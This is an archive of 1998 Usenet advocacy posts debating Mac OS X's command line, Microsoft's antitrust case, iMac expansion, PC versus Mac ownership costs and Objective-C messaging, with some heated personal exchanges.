Date: Fri, 03 Jul 1998 10:11:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <359CF499.F9350FEE@exu.ericsson.se>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net>
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Joe Ragosta wrote:
> Let's go back to where I entered this thread.
>
> Someone was discussing Dr. Mankiw's quote. Someone else stated that it
> wasn't meaningful because he used WordPerfect to write it.
Nope. To quote Henry McGilton's posting (a response to G. Anderson):
* So if he now contends he is NOT an advocate for Microsoft,
* then the only explanation for his remarks is that he stupidly
* allowed himself to be *used* by Microsoft. I hope he at least
* got some free software for it.
I exchanged a brief communication with Professor Mankiw on this
issue, and he told me that his brief to the DOJ was written using
WordPerfect.
(end of quote)
That is all that was stated, your attempts to put words in the poster's
mouth notwithstanding.
> I stated that the tool he used to make a statement is completely meaningless.
>
> You jumped all over me.
I don't know what this means. My responses are a matter of record, not
of your opinion.
> What's your point? Are you arguing that it really matters which word
> processor he used or not?
I have already stated the reasons that I think so.
> If you're saying that his choice of tool somehow makes his statement more
> or less meaningful, you're a moron.
>
> If you're saying that his choice of tool doesn't matter, then you're
> agreeing with the statement I made that you jumped all over me for--and
> you're still a moron.
Filed under "Joe Ragosta: ad hominem Hypocrisy". Hey, aren't I supposed
to be in your killfile? What's going on, here? I shouldn't have to be
putting up with this crap in the first place.
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 3 Jul 1998 15:18:51 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nisor$hs6$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net>
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In article <6nh663$o1q$1@news.cs.tu-berlin.de> Marcel Weiher,
marcel@cs.tu-berlin.de writes:
>This is very naive. Free markets are mechanisms that are set up
>by societies in order to maximize economic output. Check out
>Adam Smith if you don't believe me.
>
>>Two points: one, the voluntary act of will must be held accountable for
>>itself. Regulation has spawned more grief than it has good. It must also
>
>This is a bold assertion. Prove it. Now I'm the first one to say
>that any government interference is to be viewed with suspicion, but
>it is still necessary. The free markets you idolize so much are not
>actually natural entities, but artificial constructs created by
>appropriate legislation and regulation.
And the tail wags the dog.
Right.
Yes, the great, beneficent government which uses guns and taxes and
prosecutors to grab its share of the GNP is the foundation of our
economy, while the people who actually MAKE THINGS owe our prosperity to
those who do not produce.
1984 redux.
Matthew Cromer
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 10:52:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6nghc1$5g5@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
<trev-3006981959000001@nas-p5.usc.net> <6ndho2$1n7@nntp02.primenet.com> <trev-0107981311460001@nas-p4.usc.net> <6ng49t$lra@nntp02.primenet.com>
On Thu, 2 Jul 1998, Bill Bumgarner wrote:
> On 2 Jul 1998, John Jensen wrote:
>
> > Trevor Zion Bauknight <trev@sc.edu> wrote:
> > : It's a BSD core on a Mach kernel...
> >
> > BSD uses a CLI to run its boot scripts. If the CLI has really been
> > removed (and not just terminal.app), then how will this BSD run its init
> > rc scripts? If there are no rc scripts, will you call it UNIX?
>
> no, actually, it doesn't.... it uses /bin/sh to interpret a set of
> scripts.
>
> A command line interface is just that-- an interface that you type
> commands at to make the computer do stuff.
>
> That's it.
There is indeed a line between a Command Line Interpreter and a Command
Line Interface, but it is a very thin one. A terminal application invokes
an Interpeter to make an Interface. The terminal just passes keystrokes
to the interpreter and displays returning text. I thought the question
had been asked several times if terminal.app is the only thing being
removed, and I thought that the answer was negative.
If terminal.app is connected to sh, and more than terminal.app is being
removed ... what goes next?
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 2 Jul 1998 10:51:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1C11697-BDC1@206.165.43.106>
References: <6nf02s$i5m@newsb.netnews.att.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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gupta@kcopsrm.tm.tta.moc-mirror said:
>>I'm not sure why you bothered to mention this last. Slots still mean
>>expandability.
>
>Not on an Intel machine, if IRQs are maxxed out.
>This is a real problem, as several reviewers in PC magazines
>have recently pointed out.
But they still mean upgradablility.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: 3 Jul 1998 15:24:34 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6nit3i$9ni$1@bertrand.ccs.carleton.ca>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <6nghrj$ep0$2@bertrand.ccs.carleton.ca> <359d096f.33622999@hydra>
In article <359d096f.33622999@hydra>, Identity Withheld
(brother@trinity.mensa.net) wrote:
> Actually, yes I can comment on it. But I can't cite my references
> without landing in court myself.
You're a very mysterious guy. :-) You know all, but don't cite references...
> >I'd note that AT&T or anyone else would have
> >no such hassles if they needed Linux source code.
> They have the source.
Not according to their breach-of-contract allegation. I looked for
a URL and found a hit in news.com's search engine, but the article
itself from 15 June was mysteriously removed. Curiouser and curiouser...
>I see no compelling reason to buy a better TV.
> Movies, Nintendo...
Very compelling. :-) My TV is fine for movies and I don't own a
video game console.
> >On the contrary, it does. Saving money is a rational business decision
> >to buy something. Buying something because you like its smell
> >or because it is heavily promoted in trade magazines is not a
> >rational business decision.
> True. Kinda shoots a hole in the "linux is better, cuz, well, it's
> better!" argument I see here all the time.
You've never seen that argument from *me*. I believe I've given many
technical and non-technical reasons why Linux is superior to NT. Here's
a recap:
- Linux is open. This means you can select your support vendor,
you have good interoperability with existing systems, bug fixes
propagate faster, you have a wide range of hardware (x86, Alpha,
PPC, MIPS, StrongARM, 68K, etc.) and you have input into the
direction of Linux evolution.
- Linux is small. It consumes far fewer system resources than NT,
giving new life to old hardware and extra zing to new hardware.
- Linux does not implement arcane and buggy concepts like reserved
filenames (CON, AUX, PRN), drive letters and data streams (see the
recent messages on bugtraq about the ::$DATA exploit).
- Linux and Linux apps do not distinguish between text and binary
files, eliminating a useless annoyance.
- Linux allows multiple interactive logon sessions, whereas stock
NT does not.
- Linux comes with a networked graphics system, wherease stock NT
does not.
- Linux can easily be remotely administered with command-line
terminals, whereas stock NT cannot.
- Linux can be used effectively with or without a GUI, whereas
NT is next to useless without a GUI.
- Linux and UNIX make it easy to "hot seat" people and applications,
whereas this is tricky to achieve with stock NT.
I could go on, but you get the idea. Check out www.isdmag.com's
article about Linux and NT for more of my (and others') comments.
> >So what? If you work hard enough, you can probably run on DOS. But is
> >it the easiest or most cost-effective?
> Those companies that are doing it think so. It's their pocketbook and
> they're happy.
Really? I don't know that they're all that happy.
--
David F. Skoll
Date: Thu, 02 Jul 1998 11:28:48 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Message-ID: <joe.ragosta-0207981128480001@wil55.dol.net>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <joe.ragosta-0107981511100001@wil51.dol.net> <359b8d6f.1873915@hydra>
In article <359b8d6f.1873915@hydra>, brother@trinity.mensa.net (Identity
Withheld) wrote:
>
> AT&T has the source code. They have their own version of NT that runs
> as a process on Unix. This feat would not be possible if they didn't
> have the source code. No, I don't have a URL.
Let's see. AT&T claims that they don't have the source code in a court
document. You claim that they do without evidence.
Which one do you think is more credible?
BTW, if AT&T got just enough of th esource code to set it up as a process
under Unix, but not all of it, then AT&T could be correct in their claim
even if MS gave them some source code.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: JDilbert@netcom.com (FlyingDog)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Memory protection question.
Date: Thu, 2 Jul 1998 11:34:11 -0400
Organization: ICGNetcom
Message-ID: <MPG.1005727cdfe8fe8b98976a@nntp.news.netcom.net>
References: <19980628133235139765@lc345.zianet.com> <3596b427.0@news.together.net> <19980628173536272714@lc301.zianet.com> <macghod-2806982141560001@sdn-ar-001casbarp310.dialsprint.net> <19980629121710811448@lc184.zianet.com> <macghod-2906982347150001@sdn-ar-001casbarp149.dialsprint.net> <19980630200310556881@lc129.zianet.com>
In article <19980630200310556881@lc129.zianet.com>, webservice@zianet.com
says...
> Steve Sullivan <macghod@concentric.net> wrote:
[Big Ass Snipage]
Since you keep bringing it up, Clark, I'm wondering if you actually know
what the tco is for a PC compared to the Mac? I'm the Senior Tech and
Systems Administrator at a decent sized newspaper company which runs both
PCs and Macs, so I do. My Production Manager (your average
computer-using graphic designer) has one of each box in her office. In
the past three years, she has seen _four_ different Macs (seven if you
count replacement 7200/90s) and _two_ PCs.
We'll start with the PC story since that's shorter. Three years ago she
was still running DOS 6.22 and Windows For Workgroups 3.11 on a
486/33MHz. She is now on a Pentium 166-MMX. It's not exactly lightning
fast, but you can't argue with $600 for a P166MMX box (yes, 2GB HD, 32MB
RAM and a 4MB video card installed) that was purchased more than 6 months
ago (could be a year, I don't remember). The only software issues have
been the recent upgrade to Win95 and other little things like changing
protocols on our NT server or corrupt fonts.
Her Macs, however, are an entirely different story. We've been through
_three_ 7200/90's with bad logic boards, an 8500/250, two clones (a UMAX
and a SuperMac - don't remember the specs) and now a G3/233. Not only
have I had to swap machines, but I've had to reinitialize HDs and
reinstall OSes countless times. I've spent more time on her G3 in the
past three months than I have on her PCs in the past three years.
Granted, a good portion is user error, but why don't I get the same thing
from the same person in the same room on the PC? The wonderful message
"Error Type 11" has made that my least favorite number.
How's that for tco? My Win95 machine at home hasn't crashed in 6 months
(knock on wood)! I bought a Win95 box for my computer illiterate (now ex-
) girlfriend and after the initial learning curve, not a peep. Mind you,
that initial learning curve was largely "The power button is here" kind
of thing. Yet, the artists we have working here (who jockey PCs by day)
have nothing but questions concerning their Macs at home.
You want to talk about upgrades? I still use a trusty 486/133 at home,
because it suits my needs. For about $300, however, I could get a P2/233
and 32MB SDRAM. I had to get new versions of Norton Anti-Virus and Norton
Utilities for our G3 with OS 8 because NU for OS 8 (same major and
minor version number, different revision) wouldn't run on a G3. Hardware
upgrades for the Mac? Why bother? It's cheaper to just buy a new machine
when you factor in time. It's not like I could fit a G3/300 board into my
MacClassic case. Compare that to a PC, where I could take a 286/8 and
replace the MB, RAM and HD with a P2/400, 64MB SDRAM, 8.4GB HD and have a
brand new machine for a fraction of what they cost from Gateway, Dell,
Micron, etc. Now _THAT'S_ what I call tco!
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 2 Jul 1998 15:52:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6pnb5s.agd.sal@panix3.panix.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net>
On Tue, 30 Jun 1998 22:34:48 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>*All* PCs have slots. I guess this gives them all the same specs. Come
I don't think Apple is going to sell the iMac as a PC, in fact, it sounded
like they are going to sell it as NOT as PC. And Apple has sold slotless
Macs before.
>Or maybe there are certain things that buyers recognize as *good* and
>*necessary*...
I don't think so. Laptops don't have slots and lots of people buy them.
The palm pilot sells very well, outselling WinCE and Newton machines
and it lack the PCMCIA slots that the WinCE and Newton machines had.
I don't see the lack of slots to be a big deal. I doubt that many PCs
(at least in home settings) ever get upgraded. I've seen plenty of
three year old (and often older) PCs that have never been opened, and still
have the warranty seals onver the case screws.
>Like I said, if people want it, people should have it. I didn't say
>anything about limiting *anybody's* choice, now, did I? As it is, I'm
>the one without a choice, since the only choice of color on the iMac is
>Baby Blue, named after Apple's perception of the prospective customer.
You are *NOT* the iMac target market. I am *NOT* the iMac target market.
People who want to do "computer stuff" but don't want to have/use/learn
a PC are the target market. AOL users are the target market. People who
own those brother wordprocessors are the target market.
>> Sure. Stick it next to the PlayStations and Gameboys. Set up a demo that
>> shows games/internet access/edu-tainment software.
>spend money on junk. Don't spend $200 on a game-machine, spend $1300 on
>a game machine.
...that can connect to AOL, be used to write reports, and can fit in a kids
room. For $1300 it is a bit much, for $1000 it is a pretty good deal. At
$750 it would be killer.
--
sal@panix.com
Salvatore Denaro
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 15:54:51 GMT
Organization: Rockwell International
Message-ID: <6ngagb$vb53@onews.collins.rockwell.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
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Cc: mjpeck@nstar.net, buck.erik@mcleod.net
The incredible ignorance that is demonstrated about dynamic OO systems is
astounding.
Look at Java beans. Up to a point they work similarly to Openstep objects.
Here are some very basic concepts:
Object messaging is different that function calls.
Given the foo(10) function call, a compiler and linker MUST resolve the
symbol "foo" to the address of a function entry point. Even with a virtual
member function in C++, the symbol "foo" MUST be resolved to a constant index
into a vTable.
Given the message [someObject foo:10], the compiler and linker don't need ANY
information about "someObject" or "foo:". It may very well be that
"someObject" and "foo:" do not even exist in the program. Perhaps they are
loaded as a plug-in.
So, with function calls, it is necessary to attach a "call back" function to
a button in order for a button press to do anything. In order for the "call
back" function to be attached, recompilation is required and the
compiler/linker must be able to resolve the function to an address or offset
in a vTable.
With messaging, the button can have two instance variables. One is called
"target" and it stores "someObject" which may not even exist yet. The other
is called "action" ant it stores "foo:" which is of type SEL which is defined
as typedef const char * SEL;. Note, both "target" and "action" are
variables! In interface Builder, one simply sets the values of "target" and
"action" and serializes the button. No code is generated. No compiling is
needed. When run, a press on the button will sent the "foo:" message to
"target". If "target" is nil, the "action" message is sent down a "chain of
responsibility" allowing any object to respond. The button need not even
know what object will respond if any.
The equivalent chain of responsibility and detachment of sender from receiver
is accomplished with EVENTS in MacOS, Windows, and Motif. EVENTS in those
systems are different than messages and must somehow be converted into
function calls (virtual or not) to each object that receives the EVENT.
With Openstep, the message is sent. It does not matter who sent the massage.
It does not matter what the massage is. It does not matter who receives the
message. All messages are the same. In fact the message sent and the
receiver can be changed dynamically at run-time without recompile. See
Objective-TCL or Joy for examples of this.
Openstep is incredibly powerful. Other systems are impoverished by
comparison.
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 2 Jul 1998 12:27:39 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980702122119.6336J-100000@pathos>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net> <6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
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To: Michael Peck <mjpeck@nstar.net>
In-Reply-To: <3599CE93.4E70D0C1@nstar.net>
On Wed, 1 Jul 1998, Michael Peck wrote:
> John Kheit wrote:
> > Even though I don't get what you're talking
> > about in particular, clearly you have more expertise on the subject
> > in general and in particular based on that project you mentioned
> > in another post, I do tend to agree with the notion that languages
> > use a very different kind of logic than people do. I'm not sure
> > if your point is that blunt, or something else altogether.
>
> My point is that simply defining .nib files isn't program logic. It's
> just a convenient and portable way of defining graphical objects. Great,
> now you have the objects! Now, what will you do with them?
Actually-- that isn't totally true. The NIB file can also contain
more than just graphical presentation rules. IN terms of EO, it can also
contain validation code, display logic (i.e. turn on bits of UI according
to the contents of the database, etc..), and bindings between data source
and data consumers within your program.
I.e. it defines both graphical look and feel as well as, potentially, the
mapping between the UI and the application's data management architecture.
Not all of the objects in a NIB need be graphical; consider editing
contexts, data sources, and display groups, for example.
b.bum
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 02 Jul 1998 11:35:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BB6E5.C244275F@exu.ericsson.se>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On Tue, 30 Jun 1998 22:34:48 -0500, Michael Peck <mjpeck@nstar.net> wrote:
> >*All* PCs have slots. I guess this gives them all the same specs. Come
>
> I don't think Apple is going to sell the iMac as a PC, in fact, it sounded
> like they are going to sell it as NOT as PC. And Apple has sold slotless
> Macs before.
I don't know if you remember, but some of the first products available
for the LC and LCII were PDS-slot expansion cards and even entire units
that would double the size of the LC case, stacking inside the original.
Many LC buyers were later regretful of their decision to buy a
non-expandable machine: one of my best friends in college bought an
LCIII sometime in mid-1994 that became obsolete before the end of his
first year. His next machine was a PC.
> I don't think so. Laptops don't have slots and lots of people buy them.
Laptops have PCMCIA expansion slots.
> The palm pilot sells very well, outselling WinCE and Newton machines
> and it lack the PCMCIA slots that the WinCE and Newton machines had.
Different market, different product.
> I don't see the lack of slots to be a big deal. I doubt that many PCs
> (at least in home settings) ever get upgraded. I've seen plenty of
> three year old (and often older) PCs that have never been opened, and still
> have the warranty seals onver the case screws.
I help friends upgrade computers all the time. Many of them actually buy
new computers, and instead of discarding old PCs, want to know from me
how they can spend a minimum on upgrading them so that a family member
can use it (for college, for email, for Web access, whatever). I usually
get them commodity items for less than $400, total, and the beneficiary
gets a whole computer, ready to run Windows 95 and Office 98. From what
you've theorized, this is the market that could use an iMac, anyway.
Well, I can undersell the iMac, and so can anybody who recognizes the
virtues of upgradeability.
> You are *NOT* the iMac target market. I am *NOT* the iMac target market.
> People who want to do "computer stuff" but don't want to have/use/learn
> a PC are the target market. AOL users are the target market. People who
> own those brother wordprocessors are the target market.
News flash: this market is buying sub-$1000 PCs. The iMac will
reportedly retail for at least 30% more.
> ...that can connect to AOL, be used to write reports, and can fit in a kids
> room. For $1300 it is a bit much, for $1000 it is a pretty good deal. At
> $750 it would be killer.
Probably. That's not the iMac, unfortunately.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 11:56:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nfsgt$69u$7@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
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In <359BA018.8432F96A@nstar.net> Michael Peck claimed:
> That's all great. Does anyone know how this is actually performed,
Sure, it NSCodes the id and selector.
> somewhere beneath the layer of "magic"? I'm just going to go with
> callbacks, as a working assumption.
I don't understand this facination with callbacks. Maybe we're talking
about two different issues.
Maury
From: jaredhay@mapson.v-wave.com (Jughead Jones)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Thu, 02 Jul 1998 11:17:33 -0600
Organization: J & J Consulting
Message-ID: <jaredhay-0207981117330001@c9801-001.v-wave.com>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>
In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>I am not a programmer so I cant say this is a leak, but it is really
>annoying. Here is what about this computer says (note this is with NO
>APPS open)
>
>macos 8.1
>built in memory 64 mb
>virtualy memory 65.8
>largest unused block 28.1 mb
>macos 13.2 mb
>
>Now where is my other 25 megs of memory? Their are no apps open so please
>dont tell me its fragmented memory, unless you can explain how its
>fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
Are you running Navigator or Communicator? An application which access'
the Internet will call Open Transport, Netscape has trouble releasing the
OT when it is quit... This is what causes the fragmentation, you can try
telling TCP/IP to load always. Open the TCP/IP control then click the
options button, uncheck the 'load only when needed' box. This may cause a
connection to occur when you start up, I'm not sure, mine is up 24/7...
the JarHead
--
Remove the "nospam" to reply
J & J Consulting
Jared & Jamie Hay
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 07:09:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ng49t$lra@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
<trev-3006981959000001@nas-p5.usc.net> <6ndho2$1n7@nntp02.primenet.com> <trev-0107981311460001@nas-p4.usc.net>
Trevor Zion Bauknight <trev@sc.edu> wrote:
: In article <6ndho2$1n7@nntp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > : The alternative, of course, is simply installing sh. That shouldn't be
: > : too difficult, even for you Unix people...
: >
: > You are ignoring the obvious. A UNIX shell on an system does not make it
: > UNIX. I have the GNU toolchain installed on my NT boxes. Does that make
: > NT into UNIX? Does it erase the difference between NT Workstation and NT
: > server?
: But OS X *is* Unix, essentially.
I really think that remains to be seen.
: It's a BSD core on a Mach kernel...
BSD uses a CLI to run its boot scripts. If the CLI has really been
removed (and not just terminal.app), then how will this BSD run its init
rc scripts? If there are no rc scripts, will you call it UNIX?
:it's
: at least as much of a Unix (using the term generically) as is MkLinux.
MkLinux has a CLI and uses it to boot.
: MkLinux is a lot closer to being a Unix than is NT (which has its roots in
: OS/2 and VMS). To answer your questions, no...the GNU toolchain does not
: turn NT into Unix. However, the addition of /bin and /usr/bin (which
: seems to be the minimum people are asking for) to OS X (which is already a
: BSD core) makes it pretty similar indeed to a full-up BSD system.
I must interrupt you here. MacOS X is already a BSD core? I think the
_only_ information available is a set of colored boxes on the Apple web
pages projecting a future OS. They show MacOS X as always having a
"POSIX" box, but having a "BSD" box as an option.
: All the
: APIs are there (BSD and POSIX) plus the NeXTSTEP-derived YB API *plus* a
: cleaned-up, pared-down Mac OS API (Carbon) *plus* a nice Java
: implementation. But at its heart (and this is the point), it is Unix as
: much as is Rhapsody.
The devil is in the details,
John
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 09:17:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359B965F.9CB9BE4C@nstar.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net> <6ng3t9$t6d$1@news.cs.tu-berlin.de>
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NNTP-Posting-Date: 2 Jul 1998 14:22:12 GMT
Marcel Weiher wrote:
> >This is ridiculous. I'd go to any press conference for any company being
> >subjected to governmental abuse and speak out for free-market economics.
>
> The enforcement of applicable laws is not "government abuse". It
> is quite clear that Microsoft has abused their power to deny competitors
> access to the market. The question at hand is wether the abuse that
> they have committed is in violation of current laws.
No, that's definitely not the issue, unless you think like a lawyer.
From a moral standpoint, that is anything but the issue. I wonder what
Martin Luther King, Jr. would have said if you had told him that his
stay in Birmingham jail was about whether or not he had broken any
applicable laws. I would actually like to hear your response to this.
> >That doesn't make me a shill for anything but free-market economics.
>
> What you seem to be advocating is not "free-market" economics.
> Free market economics always include a regulatory instance
> laying down the rules for participation in the market and
> enforcement of those rules.
No, that's really not so. But since you say so, I'd like to hear your
definition of "regulatory", and what instances of such "regulation" you
think *must* exist in a free market. I suspect that what you're really
talking about are not "regulations"; you probably mean legal protections
for the universal right to conduct business. Those would be the legal
protections rescinded by the Sherman Act, for example.
> Absolute freedom cannot exist, it must always be limited by
> the freedom of others.
Again, you've simply got to define your terms. "Freedom" can mean nearly
anything; my word of choice is "liberty", and it has a specific
definition as I see it.
At any rate, while proper jurisprudence always recognizes that "your
right to swing your arm ends at the end of my nose", the principle of
law in this country was established in the belief that law should be
fair and blind. The idea is that law should never suspend the liberty of
one to extend the liberty of another. When one company's liberty to
conduct business is cut short for the sake of "protecting" others, and
new words and laws are made up from thin air to support a process of
taxation and oppression, you and I should be indignant; during World War
II a great deal of nauseous rhetoric was spent on justifying the
imprisonment of thousands of American citizens for years because of the
fact that those people happened to be of Japanese origin.
> >Ugh, this just makes me sick. Everything I stand for as a member of the
> >human race runs contrary to this.
>
> So what you stand for is a gangster-society where might = right?
What I stand for is simple to understand and quite commonly documented.
To state what you state above is to go out of your way to misunderstand,
since I have been quite thorough in explaining myself in this very
newsgroup. Even so, I invite you to email me privately if you want
references to published works.
(In fact, I'm told that Thomas Jefferson himself was responsible for
over one thousand letters, articles, speeches, and other documents, many
addressing the subject at hand...)
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 2 Jul 1998 15:11:02 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ng7u6$78p@shelob.afs.com>
References: <359B21AB.E6A26F64@nstar.net>
Michael Peck <mjpeck@nstar.net> writes
> Gregory H. Anderson wrote:
> > BTW, we don't have an "unfettered market economy" in this country --
> > we haven't since the late 1800s -- and Microsoft provides a compelling
> > example of why this is a good thing.
>
> Ugh, this just makes me sick. Everything I stand for as a member of the
> human race runs contrary to this.
You might be surprised to learn that I majored in international economics
at Georgetown University, which has a decidedly free-market/free-trade
approach (or at least, it did when I attended; don't know the current
professors). Politically I consider myself closest to the Libertarians.
And as a lifelong entrepreneur, I am a hardy supporter of capitalism and
free markets. Indeed, my whole business is supplying custom trading
software to Wall Street!
With that in mind, all I can say is that when venture capitalists won't
give money to a company with a great idea because "we're afraid Microsoft
will be coming into this space next," (and no, this hasn't happened to me
personally), it demonstrates an unhealthy concentration of power that
serves to restrict choice, rather than enhance it. When a company with
an effective monopoly in one market unfairly uses that power to extend
its monopoly into another market, that action restricts choice. That is
not good for producers OR consumers.
I'll leave with this final thought -- classical economics attempts to
describe a largely physical economy of manufacturers. It was never very
good at explaining how "professionals" (lawyers and doctors) set their
prices and established their business organizations. The information
economy runs much more along those lines, and I think there are literally
100s of PhD's waiting to be written about this transformation, and the
new rules for managing in such an economy.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
